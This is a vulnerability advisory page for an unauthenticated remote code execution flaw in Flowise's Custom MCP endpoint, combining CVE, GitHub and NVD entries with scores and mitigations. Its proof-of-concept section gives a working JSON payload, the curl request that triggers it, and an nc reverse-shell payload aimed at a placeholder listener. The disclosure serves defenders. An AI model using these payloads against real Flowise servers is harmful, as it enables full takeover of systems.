9.3critical
Flowise - Unsandboxed Remote Code Execution via Custom MCP
- Severity
- 9.3critical CVSS:4.0 by VulnCheck
- Exploit likelihood
- 1.62% (higher than 76% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- VulnCheck
- Also known as
- GHSA-6933-jpx5-q87q
Description
Flowise before 3.0.6 (affected versions 2.2.7-patch.1 and earlier) contains an unsandboxed remote code execution vulnerability in the Custom MCP feature, which is designed to execute OS commands such as launching local MCP servers. Because Flowise's authentication and authorization model is minimal and lacks role-based access control, and the default installation runs without authentication unless FLOWISE_USERNAME and FLOWISE_PASSWORD are set, an attacker can send a crafted JSON payload with the header 'x-request-from: internal' to the /api/v1/node-load-method/customMCP endpoint to execute arbitrary OS commands, resulting in complete compromise of the platform container or server.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| Flowise Flowise | before 3.0.6 Not affected: 3.0.6 | CVE List |
| flowise (npm) | from 2.2.7-patch.1 before 3.0.6 | GitHub Advisory Database |
| flowiseai flowise | before 3.0.6 | NVD |
All scores
| VulnCheck | 9.3critical CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| VulnCheck | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| GitHub | critical CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Classification
What each source says
CVE List
Flowise before 3.0.6 (affected versions 2.2.7-patch.1 and earlier) contains an unsandboxed remote code execution vulnerability in the Custom MCP feature, which is designed to execute OS commands such as launching local MCP servers. Because Flowise's authentication and authorization model is minimal and lacks role-based access control, and the default installation runs without authentication unless FLOWISE_USERNAME and FLOWISE_PASSWORD are set, an attacker can send a crafted JSON payload with the header 'x-request-from: internal' to the /api/v1/node-load-method/customMCP endpoint to execute arbitrary OS commands, resulting in complete compromise of the platform container or server.
GitHub Advisory Database
Summary
The Custom MCPs feature is designed to execute OS commands, for instance, using tools like npx to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables.
This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.
PoC
-
Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as
npx,pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker -
Create a new file named
payload.jsonsomewhere in your machine, with the following data:
{"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"}
- Send the following
curlrequest using thepayload.jsonfile created above with the following command:
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
- Observe that a new file named
yofitofiis created under/tmpfolder.
Similarily, we can use the same technique to gain a reverse shell using the built-in nc utility with the following JSON payload:
{"inputs":{"mcpServerConfig":{"command": "nc","args": [
"<LISTENER_IP_ADDRESS>","<LISTENER_PORT>","-e","/bin/sh"
]}},
"loadMethod":"listActions"}
Impact
Remote code execution
Mitigation
- Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with "Admin" roles will be able to configure new Custom MCPs within the platform.
- Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature.
- Consider running Custom MCPs within a sandboxed environment
Credit
The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.
NVD (es)
Flowise anterior a la versión 3.0.6 (versiones afectadas 2.2.7-patch.1 y anteriores) contiene una vulnerabilidad de ejecución remota de código sin sandboxing en la característica Custom MCP, que está diseñada para ejecutar comandos del sistema operativo como el lanzamiento de servidores MCP locales. Debido a que el modelo de autenticación y autorización de Flowise es mínimo y carece de control de acceso basado en roles, y la instalación predeterminada se ejecuta sin autenticación a menos que se configuren FLOWISE_USERNAME y FLOWISE_PASSWORD, un atacante puede enviar una carga útil JSON manipulada con el encabezado 'x-request-from: internal' al endpoint /api/v1/node-load-method/customMCP para ejecutar comandos arbitrarios del sistema operativo, lo que resulta en el compromiso completo del contenedor o servidor de la plataforma.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-71336 changed 2026-06-30 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-6933-jpx5-q87q changed 2026-11-03 | CC-BY-4.0 |
| NVD | CVE-2025-71336 changed 2026-10-12 | Public domain |